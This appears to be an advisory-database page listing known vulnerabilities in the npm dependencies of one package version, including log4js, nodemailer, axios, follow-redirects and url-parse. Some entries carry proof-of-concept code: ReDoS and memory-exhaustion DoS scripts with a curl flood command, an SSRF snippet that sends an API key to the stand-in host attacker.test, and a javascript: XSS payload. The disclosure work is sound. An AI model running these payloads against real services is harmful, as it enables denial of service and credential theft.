All the vulnerabilities related to the version 2.11.0 of the package
Incorrect Default Permissions in log4js
Default file permissions for log files created by the file, fileSync and dateFile appenders are world-readable (in unix). This could cause problems if log files contain sensitive information. This would affect any users that have not supplied their own permissions for the files via the mode parameter in the config.
Fixed by:
Released to NPM in log4js@6.4.0
Every version of log4js published allows passing the mode parameter to the configuration of file appenders, see the documentation for details.
Thanks to ranjit-git for raising the issue, and to @lamweili for fixing the problem.
If you have any questions or comments about this advisory:
Server-Side Request Forgery in Request
The request
package through 2.88.2 for Node.js and the @cypress/request
package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).
NOTE: The request
package is no longer supported by the maintainer.
tough-cookie Prototype Pollution vulnerability
Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in rejectPublicSuffixes=false
mode. This issue arises from the manner in which the objects are initialized.
Regular Expression Denial of Service in timespan
Affected versions of timespan
are vulnerable to a regular expression denial of service when parsing dates.
The amplification for this vulnerability is significant, with 50,000 characters resulting in the event loop being blocked for around 10 seconds.
No direct patch is available for this vulnerability.
Currently, the best available solution is to use a functionally equivalent alternative package.
It is also sufficient to ensure that user input is not being passed into timespan
, or that the maximum length of such user input is drastically reduced. Limiting the input length to 150 characters should be sufficient in most cases.
form-data uses unsafe random function in form-data for choosing boundary
form-data uses Math.random()
to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:
Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.
This is largely the same vulnerability as was recently found in undici
by parrot409
-- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.
The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347
An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id
header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random()
is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)
PoC here: https://github.com/benweissmann/CVE-2025-7783-poc
Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).
For an application to be vulnerable, it must:
form-data
to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.
Code Injection in pac-resolver
This affects the package pac-resolver before 5.0.0. This can occur when used with untrusted input, due to unsafe PAC file handling. NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency written by the same maintainer.
Code Injection in pac-resolver
This affects the package pac-resolver before 5.0.0. This can occur when used with untrusted input, due to unsafe PAC file handling. NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency written by the same maintainer.
Improper parsing of octal bytes in netmask
Improper input validation of octal strings in netmask npm package v1.0.6 and below allows unauthenticated remote attackers to perform indeterminate SSRF, RFI, and LFI attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts.
:exclamation: NOTE: The fix for this issue was incomplete. A subsequent fix was made in version 2.0.1
which was assigned CVE-2021-29418 / GHSA-pch5-whg9-qr2r. For complete protection from this vulnerability an upgrade to version 2.0.1 or later is recommended.
netmask npm package mishandles octal input data
The netmask package before 2.0.1 for Node.js mishandles certain unexpected characters in an IP address string, such as an octal digit of 9. This (in some situations) allows attackers to bypass access control that is based on IP addresses. NOTE: this issue exists because of an incomplete fix for CVE-2021-28918.
Command injection in nodemailer
This affects the package nodemailer before 6.4.16. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.
nodemailer ReDoS when trying to send a specially crafted email
A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls
set, causing the stuck of event loop.
Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.
Regex: /^data:((?:[^;];)(?:[^,])),(.)$/
Path: compile -> getAttachments -> _processDataUrl
Regex: /(<img\b[^>]* src\s*=[\s"']*)(data:([^;]+);[^"'>\s]+)/
Path: _convertDataImages
https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698
async function exploit() {
const MailComposer = require(\"nodemailer/lib/mail-composer\");
const MailComposerObject = new MailComposer();
// Create a malicious data URL that will cause excessive backtracking
// This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';
// Call the vulnerable method with the crafted input
const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}
await exploit();
ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.
Header injection in nodemailer
The package nodemailer before 6.6.1 are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.
ip SSRF improper categorization in isPublic
The ip package through 2.0.1 for Node.js might allow SSRF because some IP addresses (such as 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1) are improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2023-42282.
Arbitrary Code Execution in underscore
The package underscore
from 1.13.0-0 and before 1.13.0-2, from 1.3.2 and before 1.12.1 are vulnerable to Arbitrary Code Execution via the template function, particularly when a variable property is passed as an argument as it is not sanitized.
Node-Redis potential exponential regex in monitor mode
When a client is in monitoring mode, the regex begin used to detected monitor messages could cause exponential backtracking on some strings. This issue could lead to a denial of service.
The problem was fixed in commit 2d11b6d
and was released in version 3.1.1
.
#1569 (GHSL-2021-026)
Cookie exposure in requestretry
Exposure of Sensitive Information to an Unauthorized Actor in GitHub repository fgribreau/node-request-retry prior to 7.0.0 via cookies being leaked to external sites.
Denial of Service in axios
Versions of axios
prior to 0.18.1 are vulnerable to Denial of Service. If a request exceeds the maxContentLength
property, the package prints an error but does not stop the request. This may cause high CPU usage and lead to Denial of Service.
Upgrade to 0.18.1 or later.
Axios is vulnerable to DoS attack through lack of data size check
When Axios runs on Node.js and is given a URL with the data:
scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer
/Blob
) and returns a synthetic 200 response.
This path ignores maxContentLength
/ maxBodyLength
(which only protect HTTP responses), so an attacker can supply a very large data:
URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'
.
The Node adapter (lib/adapters/http.js
) supports the data:
scheme. When axios
encounters a request whose URL starts with data:
, it does not perform an HTTP request. Instead, it calls fromDataURI()
to decode the Base64 payload into a Buffer or Blob.
Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)
:
const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];
if (protocol === 'data:') {
let convertedData;
if (method !== 'GET') {
return settle(resolve, reject, { status: 405, ... });
}
convertedData = fromDataURI(config.url, responseType === 'blob', {
Blob: config.env && config.env.Blob
});
return settle(resolve, reject, { data: convertedData, status: 200, ... });
}
The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)
:
export default function fromDataURI(uri, asBlob, options) {
...
if (protocol === 'data') {
uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
const match = DATA_URL_PATTERN.exec(uri);
...
const body = match[3];
const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
if (asBlob) { return new _Blob([buffer], {type: mime}); }
return buffer;
}
throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
config.maxContentLength
or config.maxBodyLength
, which only apply to HTTP streams.data:
URI of arbitrary size can cause the Node process to allocate the entire content into memory.In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes
exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)
. No such check occurs for data:
URIs.
const axios = require('axios');
async function main() {
// this example decodes ~120 MB
const base64Size = 160_000_000; // 120 MB after decoding
const base64 = 'A'.repeat(base64Size);
const uri = 'data:application/octet-stream;base64,' + base64;
console.log('Generating URI with base64 length:', base64.length);
const response = await axios.get(uri, {
responseType: 'arraybuffer'
});
console.log('Received bytes:', response.data.length);
}
main().catch(err => {
console.error('Error:', err.message);
});
Run with limited heap to force a crash:
node --max-old-space-size=100 poc.js
Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:
<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…
Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength
, maxBodyLength
and decodes into memory on Node before streaming enabling DoS.
import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";
const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
timeout: 10000,
maxRedirects: 5,
httpAgent, httpsAgent,
headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
validateStatus: c => c >= 200 && c < 400
});
const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";
app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));
app.get("/healthz", (req,res)=>res.send("ok"));
/**
* POST /preview { "url": "<http|https|data URL>" }
* Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
*/
app.post("/preview", async (req, res) => {
const url = req.body?.url;
if (!url) return res.status(400).json({ error: "missing url" });
let u;
try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }
// Developer allows using data:// in the allowlist
const allowed = new Set(["http:", "https:", "data:"]);
if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });
const controller = new AbortController();
const onClose = () => controller.abort();
res.on("close", onClose);
const before = process.memoryUsage().heapUsed;
try {
const r = await axiosClient.get(u.toString(), {
responseType: "stream",
maxContentLength: 8 * 1024, // Axios will ignore this for data:
maxBodyLength: 8 * 1024, // Axios will ignore this for data:
signal: controller.signal
});
// stream only the first 64KB back
const cap = 64 * 1024;
let sent = 0;
const limiter = new PassThrough();
r.data.on("data", (chunk) => {
if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
else { sent += chunk.length; limiter.write(chunk); }
});
r.data.on("end", () => limiter.end());
r.data.on("error", (e) => limiter.destroy(e));
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
limiter.pipe(res);
} catch (err) {
const after = process.memoryUsage().heapUsed;
res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
res.status(502).json({ error: String(err?.message || err) });
} finally {
res.off("close", onClose);
}
});
app.listen(PORT, () => {
console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});
Run this app and send 3 post requests:
SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```
Enforce size limits
For protocol === 'data:'
, inspect the length of the Base64 payload before decoding. If config.maxContentLength
or config.maxBodyLength
is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from
call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.
Axios vulnerable to Server-Side Request Forgery
Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
axios Inefficient Regular Expression Complexity vulnerability
axios before v0.21.2 is vulnerable to Inefficient Regular Expression Complexity.
axios Requests Vulnerable To Possible SSRF and Credential Leakage via Absolute URL
A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463
A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if baseURL
is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.
Consider the following code snippet:
import axios from "axios";
const internalAPIClient = axios.create({
baseURL: "http://example.test/api/v1/users/",
headers: {
"X-API-KEY": "1234567890",
},
});
// const userId = "123";
const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
In this example, the request is sent to http://attacker.test/
instead of the baseURL
. As a result, the domain owner of attacker.test
would receive the X-API-KEY
included in the request headers.
It is recommended that:
baseURL
is set, passing an absolute URL such as http://attacker.test/
to get()
should not ignore baseURL
.baseURL
with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL
.Follow the steps below to reproduce the issue:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
$ node main.js
this is server2
Even though baseURL
is set to http://localhost:10001/
, axios sends the request to http://localhost:10002/
.
baseURL
and does not validate path parameters is affected by this issue.Axios Cross-Site Request Forgery Vulnerability
An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.
Exposure of sensitive information in follow-redirects
follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor
follow-redirects' Proxy-Authorization header kept across hosts
When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.
Test code:
const axios = require('axios');
axios.get('http://127.0.0.1:10081/', {
headers: {
'AuThorization': 'Rear Test',
'ProXy-AuthoriZation': 'Rear Test',
'coOkie': 't=1'
}
})
.then((response) => {
console.log(response);
})
When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.
This vulnerability may lead to credentials leak.
Remove proxy-authentication header during cross-domain redirect
- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);
Follow Redirects improperly handles URLs in the url.parse() function
Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.
Exposure of Sensitive Information to an Unauthorized Actor in follow-redirects
Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8.
url-parse Incorrectly parses URLs that include an '@'
A specially crafted URL with an '@' sign but empty user info and no hostname, when parsed with url-parse, url-parse will return the incorrect href. In particular,
parse(\"http://@/127.0.0.1\")
Will return:
{
slashes: true,
protocol: 'http:',
hash: '',
query: '',
pathname: '/127.0.0.1',
auth: '',
host: '',
port: '',
hostname: '',
password: '',
username: '',
origin: 'null',
href: 'http:///127.0.0.1'
}
If the 'hostname' or 'origin' attributes of the output from url-parse are used in security decisions and the final 'href' attribute of the output is then used to make a request, the decision may be incorrect.
Path traversal in url-parse
url-parse before 1.5.0 mishandles certain uses of backslash such as http:/ and interprets the URI as a relative path.
Authorization Bypass Through User-Controlled Key in url-parse
url-parse prior to version 1.5.8 is vulnerable to Authorization Bypass Through User-Controlled Key.
Open redirect in url-parse
Affected versions of npm url-parse
are vulnerable to URL Redirection to Untrusted Site.
Depending on library usage and attacker intent, impacts may include allow/block list bypasses, SSRF attacks, open redirects, or other undesired behavior.
url-parse incorrectly parses hostname / protocol due to unstripped leading control characters.
Leading control characters in a URL are not stripped when passed into url-parse. This can cause input URLs to be mistakenly be interpreted as a relative URL without a hostname and protocol, while the WHATWG URL parser will trim control characters and treat it as an absolute URL.
If url-parse is used in security decisions involving the hostname / protocol, and the input URL is used in a client which uses the WHATWG URL parser, the decision may be incorrect.
This can also lead to a cross-site scripting (XSS) vulnerability if url-parse is used to check for the javascript: protocol in URLs. See following example:
const parse = require('url-parse')
const express = require('express')
const app = express()
const port = 3000
url = parse(\"\\bjavascript:alert(1)\")
console.log(url)
app.get('/', (req, res) => {
if (url.protocol !== \"javascript:\") {res.send(\"<a href=\\'\" + url.href + \"\\'>CLICK ME!</a>\")}
})
app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})
Authorization bypass in url-parse
Authorization Bypass Through User-Controlled Key in NPM url-parse prior to 1.5.6.